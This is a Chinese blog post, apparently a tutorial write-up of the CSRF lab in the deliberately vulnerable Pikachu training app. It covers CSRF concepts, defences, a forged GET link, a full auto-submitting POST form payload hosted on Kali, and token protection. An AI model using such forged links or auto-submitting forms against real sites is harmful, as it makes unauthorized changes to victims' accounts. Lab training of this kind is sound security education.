pikachu--CSRF(跨站请求伪造)

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。

 

CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

 

如何确认一个网站存在CSRF漏洞:

1.  一个网站对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。

      比如:修改管理员账号使,不需要验证旧密码

      对于敏感信息的修改并没有使用安全的token验证

2.  确认凭证的有效期

比如:虽然退出或者关闭了浏览器,但cookie仍然有效,或者session没有及时过期

 

防范措施

   1.对敏感信息的操作增加安全的token;

        (对关键操作增加token参数,token值必须随机,每次都不一样)

    2.安全的会话管理,避免会话被利用

        (不在客户端保存敏感信息,比如身份认证信息;

             测试直接关闭;

             设置会话过期机制,比如15分钟内无操作,则自动登录超时)

   3.对敏感信息的操作增加安全的验证码;

       (一般在登录时候,也可以在其他重要信息操作的表单<要考虑到可用性>)

   4.对敏感信息的操作实施安全的逻辑流程,

        (修改密码时,需要先校验旧密码;

           敏感信息的修改使用post,而不是get;

         通过http头部中的referer来限制页面)

 

CSRF(get)

 

 

 

 

登录  修改一下个人信息

 

 

 

 

 

通过抓包 (发现后台没有token, 通过get请求来提交修改信息)可以伪造一个链接(将地址改成了biejing ) 让vince去点击登录

 

 

http://192.168.27.156/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18626545453&add=beijing&email=vince%40pikachu.com&submit=submit

用户点击登录  就可以看到敏感信息已经被修改了

 

 

 

CSRF(post)

 

 

Post型的不能通过伪造url来进行攻击,跟xss里post型是一致的。攻击者搭一个页面,诱导用户点进来,当用户点击时会自动向存在csrf的服务器提交post请求来修改个人信息

 

编写一个post.html页面,将这个页面放在放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务

<html>

<head>

<script>

window.onload = function() {

  document.getElementById("postsubmit").click();

}         

</script>

</head>

<body>

<form method="post" action="http://192.168.27.156/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">

    <input id="sex" type="text" name="sex" value="girl" />

    <input id="phonenum" type="text" name="phonenum" value=" 123456" />

    <input id="add" type="text" name="add" value="beijing" />

    <input id="email" type="text" name="email" value="vince@pikachu.com" />

    <input id="postsubmit" type="submit" name="submit" value="submit" />

</form>

</body>

</html>

 

 

 

诱使用户点击这个链接,就可以修改信息了

http://192.168.27.156/pikachu/doge_csrf/post.html

 

CSRF-token

CSRF的主要问题是敏感操作的链接容易被伪造,解决方法就是每次请求都增加一个随机码(长度足够,够随机),后台每次对这个随机码进行验证

 

 

登录  修改信息  抓包

可以看到多出来一个token,这个就代表一个随机值每次刷新出来的token值都是不一样的

 

 

我们可以看一下这个页面访问的是token_get_edit.php  并且看页面代码也可以看到这个每次都有一个token值,再次刷新之后这个token值就会改变

 

posted @ 2020-02-25 10:28  gxy*  阅读(305)  评论(0编辑  收藏  举报